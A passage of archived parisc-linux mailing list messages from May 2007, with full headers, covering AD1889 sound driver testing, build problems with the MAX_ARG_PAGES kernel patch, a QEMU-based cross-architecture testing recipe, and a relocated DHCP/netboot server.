Original-Received: by 10.100.152.9 with SMTP id z9mr5229515and.1178577112398;
	Mon, 07 May 2007 15:31:52 -0700 (PDT)
Original-Received: by 10.100.133.10 with HTTP; Mon, 7 May 2007 15:31:52 -0700 (PDT)
In-Reply-To: <463F732D.6050904@web.de>
Content-Disposition: inline
X-Google-Sender-Auth: 0f5818b2d49426e0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1JoZbo6eLi5n1PfRZWtp1bZjZml1ZBib
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24537

On 5/7/07, Julian Stecklina <der_julian@web.de> wrote:
> Tests done using the onboard AD1889 without any .asoundrc:
>
>  > mplayer -ao oss ...
> ...
> AO: [oss] 44100Hz 2ch s16be (2 bytes per sample)
> ...
> Works!

Expected

>  > mplayer -ao alsa ...
>
> Doesn't work, noise. (Endian problem? Mplayer's fault?)

Expected

>  > mplayer -ao alsa:device=hw=0,0 ...

> Works?!

Unexpected ;)

> I then did some tests using mpg123:
> An mpg123 using OSS produces only noise as well (seems to be the endian
> issue again). An ALSA mpg123 produces some "cracks" and "scritches" (my
> English is probably not good enough to properly describe this), unless I
>    cause some disk access, then it produces distorted (but sometimes
> recognizable) sound...

Last time I tried, mpg123 was working for me. The noise issue is
unfortunately a known one without a clear explanation yet, making hard
(if not impossible) to fix...

> uname -a:
> Linux efficio 2.6.20.1-hppa #12 Mon May 7 17:40:45 CEST 2007 parisc
> PA8600 (PCX-W+) 9000/785/C3600 GNU/Linux
>
> I am happy to supply any needed debugging information. And btw, is the
> signaling issue mentioned in http://wiki.parisc-linux.org/AD1889 fixed, yet?

If by 'signaling issue' you mean the random crash when doing ctrl-C, I
don't know if it's fixed. The best way to check is to try ;)

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: William Lee Irwin III <wli@holomorphy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] removes MAX_ARG_PAGES
Date: Mon, 7 May 2007 12:01:07 -0700
Organization: The Domain of Holomorphy
Lines: 24
Approved: news@gmane.org
Message-ID: <20070507190107.GF19966__40275.5080293447$1416624356$gmane$org@holomorphy.com>
References: <65dd6fd50705060151m78bb9b4fpcb941b16a8c4709e@mail.gmail.com>
	<617E1C2C70743745A92448908E030B2A01719390@scsmsx411.amr.corp.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624356 23785 80.91.229.3 (22 Nov 2014 02:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:56 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Andrew Morton <akpm@osdl.org>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 May 2007 12:59:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 09 May 2007 14:59:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5A2D7DB44;
	Wed,  9 May 2007 06:59:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08288-07; Wed, 9 May 2007 06:59:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 531CA7DB54;
	Wed,  9 May 2007 06:59:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCE9F7DC23
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 13:00:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23831-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 7 May 2007 13:00:36 -0600 (MDT)
Original-Received: from holomorphy.com (holomorphy.com [66.93.40.71])
	by free.linux.hp.com (Postfix) with ESMTP id 1C5CF7DC1C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 May 2007 13:00:36 -0600 (MDT)
Original-Received: from wli by holomorphy.com with local (Exim 3.36 #1 (Debian))
	id 1Hl8SJ-0004Sl-00; Mon, 07 May 2007 12:01:07 -0700
Content-Disposition: inline
In-Reply-To: <617E1C2C70743745A92448908E030B2A01719390@scsmsx411.amr.corp.intel.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 09 May 2007 06:59:28 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hPd4c5J0eWU7l7eUfHVzrdE5U3U4N4/W
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24538

At some point in the past, Ollie Wild wrote:
>> We've tested the following architectures: i386, x86_64, um/i386,
>> parisc, and frv.  These are representative of the various scenarios
>> which this patch addresses, but other architecture teams should try it
>> out to make sure there aren't any unexpected gotchas.

On Mon, May 07, 2007 at 10:46:49AM -0700, Luck, Tony wrote:
> Doesn't build on ia64: complaints from arch/ia64/ia32/binfmt_elf.c
> (which #includes ../../../fs/binfmt_elf.c) ...
[...]
> Turning off CONFIG_IA32-SUPPORT, the kernel built, but oops'd during boot.
> My serial connection to my test machine is currently broken, so I didn't
> get a capture of the stack trace, sorry.

It needs to sweep 32-bit emulation code more generally.


-- wli
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] removes MAX_ARG_PAGES
Date: Wed, 9 May 2007 21:04:42 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <200705092104.43353.rob__4916.77312315932$1416624356$gmane$org@landley.net>
References: <65dd6fd50705060151m78bb9b4fpcb941b16a8c4709e@mail.gmail.com>
	<20070509134815.81cb9aa9.akpm@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624356 23789 80.91.229.3 (22 Nov 2014 02:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:56 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 May 2007 07:07:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 10 May 2007 09:07:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7051A7DCB9;
	Thu, 10 May 2007 01:07:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15357-01; Thu, 10 May 2007 01:07:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42B977DCA4;
	Thu, 10 May 2007 01:07:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1314F7DC51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 May 2007 19:05:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13169-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 May 2007 19:05:24 -0600 (MDT)
Original-Received: from grelber.thyrsus.com
	(static-71-162-243-5.phlapa.fios.verizon.net [71.162.243.5])
	by free.linux.hp.com (Postfix) with ESMTP id D85467DC47
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 May 2007 19:05:23 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1] (may be forged))
	by grelber.thyrsus.com (8.13.4/8.13.4) with ESMTP id l4A0HedX011866;
	Wed, 9 May 2007 20:17:40 -0400
User-Agent: KMail/1.9.1
In-Reply-To: <20070509134815.81cb9aa9.akpm@linux-foundation.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Thu, 10 May 2007 01:07:41 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kaEwZjhpeSE5j76WZHQhA7J2IGRvb8An
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24539

On Wednesday 09 May 2007 4:48 pm, Andrew Morton wrote:
> On Sun, 6 May 2007 01:51:34 -0700
> "Ollie Wild" <aaw@google.com> wrote:
> 
> > A while back, I sent out a preliminary patch
> > (http://thread.gmane.org/gmane.linux.ports.hppa/752) to remove the
> > MAX_ARG_PAGES limit on command line sizes.  Since then, Peter Zijlstra
> > and I have fixed a number of bugs and addressed the various
> > outstanding issues.
> > 
> > The attached patch incorporates the following changes:
> > 
> > - Fixes a BUG_ON() assertion failure discovered by Ingo Molnar.
> > - Adds CONFIG_STACK_GROWSUP (parisc) support.
> > - Adds auditing support.
> > - Reverts to the old behavior on architectures with no MMU.
> > - Fixes broken execution of 64-bit binaries from 32-bit binaries.
> > - Adds elf_fdpic support.
> > - Fixes cache coherency bugs.
> > 
> > We've tested the following architectures: i386, x86_64, um/i386,
> > parisc, and frv.  These are representative of the various scenarios
> > which this patch addresses, but other architecture teams should try it
> > out to make sure there aren't any unexpected gotchas.
>
> I'll duck this for now, given the couple of problems which people have
> reported. 

Just FYI, a really really quick and dirty way of testing this sort of thing on 
more architectures and you're likely to physically have?

1) Install QEMU.

2) Grab http://landley.net/code/firmware (releases in the downloads directory, 
or tarball of most recent repository snapshot is 
wget "http://landley.net/hg/firmware?ca=tip;type=gz").

3) Edit "download.sh" to point at the URL of your tarball instead of whatever 
kernel.org version it's using.  (Or add your patch to sources/patches if it 
applies to the version it's already using.  Note that if you set SHA1= blank 
in download.sh it'll skip the checksum test, so you don't have to recalculate 
the sha1sum if you don't want to.)

4) Run ./build.sh for the architecture you're interested in.  (I suggest 
armv4l, i686, mipsel, and x86_64.  Both sparc and ppc are currently broken 
for different reasons; I'm working on it.)  Wait a longish time for it to 
finish compiling. :)

5) "cd build; ./run-armv4l.sh" and your shell prompt should now be in qemu 
running a kernel for the appropriate architecture.  (You even have a native 
version of gcc you can build stuff with, although you may have 
to "ln -s /tools/lib /lib" to run the results, for reasons Linux From Scratch 
developers will recognize. :)

This won't help you test real hardware (at least hardware qemu doesn't 
emulate), but for stuff like filesystems or executable file formats, it's 
handy. :)

Email me if something doesn't work...

Rob
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] removes MAX_ARG_PAGES
Date: Thu, 10 May 2007 05:19:37 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <200705100519.38073.rob__4611.68904225833$1416624357$gmane$org@landley.net>
References: <65dd6fd50705060151m78bb9b4fpcb941b16a8c4709e@mail.gmail.com>
	<200705092104.43353.rob@landley.net>
	<65dd6fd50705092106i15722e97g85f43191ceb5a3d7@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624357 23793 80.91.229.3 (22 Nov 2014 02:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:57 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Andrew Morton <akpm@linux-foundation.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Ollie Wild" <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 May 2007 09:20:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 10 May 2007 11:20:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 090977DCBA;
	Thu, 10 May 2007 03:20:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15813-08; Thu, 10 May 2007 03:20:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFE327DCBC;
	Thu, 10 May 2007 03:20:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C8DB57DCA4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 May 2007 03:20:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15960-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 May 2007 03:20:45 -0600 (MDT)
Original-Received: from grelber.thyrsus.com
	(static-71-162-243-5.phlapa.fios.verizon.net [71.162.243.5])
	by free.linux.hp.com (Postfix) with ESMTP id E17747DCA0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 May 2007 03:20:44 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1] (may be forged))
	by grelber.thyrsus.com (8.13.4/8.13.4) with ESMTP id l4A8Wat8004712;
	Thu, 10 May 2007 04:32:36 -0400
User-Agent: KMail/1.9.1
In-Reply-To: <65dd6fd50705092106i15722e97g85f43191ceb5a3d7@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sqUkLM5PaHI+m6WnKSUlA7tqamdhZES/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24540

On Thursday 10 May 2007 12:06 am, Ollie Wild wrote:
> On 5/9/07, Rob Landley <rob@landley.net> wrote:
> > Just FYI, a really really quick and dirty way of testing this sort of 
thing on
> > more architectures and you're likely to physically have?
> 
> Does this properly emulate caching?  On parisc, cache coherency was
> the main issue we ran into.  I suspect this might be the case with
> other architectures as well.

This is really a QEMU question.  I've been focused on making cross-compilers 
and using those to create kernels and a minimal native build environment I 
could use to natively compile packages with.  (The way I designed the thing 
you could substitute real hardware for the qemu step, assuming you had it.  
Or another emulator like armulator for a specific platform.)

I don't believe QEMU emulates parisc yet, although it adds new platforms all 
the time.  (It just grew an alpha emulation last month.)  It's under very 
active development.

Rob
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DHCP issues in Cupertino (GSYPRF11 died again)
Date: Fri, 11 May 2007 15:48:30 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1178916510.3692.68.camel__11199.3398670622$1416624357$gmane$org@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624357 23801 80.91.229.3 (22 Nov 2014 02:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:57 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 May 2007 20:48:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 11 May 2007 22:48:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E28497DCB1;
	Fri, 11 May 2007 14:48:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30801-08; Fri, 11 May 2007 14:48:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1BDC7DCC7;
	Fri, 11 May 2007 14:48:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A46B07DCAD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 14:48:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30801-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 14:48:32 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id A3EB57DCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 14:48:32 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l4BKmVk27117
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 16:48:31 -0400
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yKctKYorMydyuIigZWplpOJraGRhZton
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24541

The root disc on GSYPRF11 became unbootable, so I'm reinstalling.

The upshot of this is that the DHCP/TFTP/Netboot server has been moved
to iodine.  At the moment, iodine only has dhcp entries for ion, ioz and
gsyprf11.  If you have a machine which uses dhcp to initialise its
ethernet interface (or you want to netboot) you'll have to update the
necessary files on iodine (usual root password for an a500).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More testsuite info
Date: Mon, 21 May 2007 02:38:32 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <5b2e36650705202338wa690426i956e716cebbd593d__45753.5695437857$1416624357$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624357 23806 80.91.229.3 (22 Nov 2014 02:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:57 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Carlos O'Donell" <carlos@systemhalted.org>,
 "LaMont Jones" <lamont@mmjgroup.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2007 06:38:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 21 May 2007 08:38:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 485A27DCEE;
	Mon, 21 May 2007 00:38:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32010-06; Mon, 21 May 2007 00:38:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C40E7DCFB;
	Mon, 21 May 2007 00:38:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1D807DCEE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 00:38:35 -0600 (MDT)
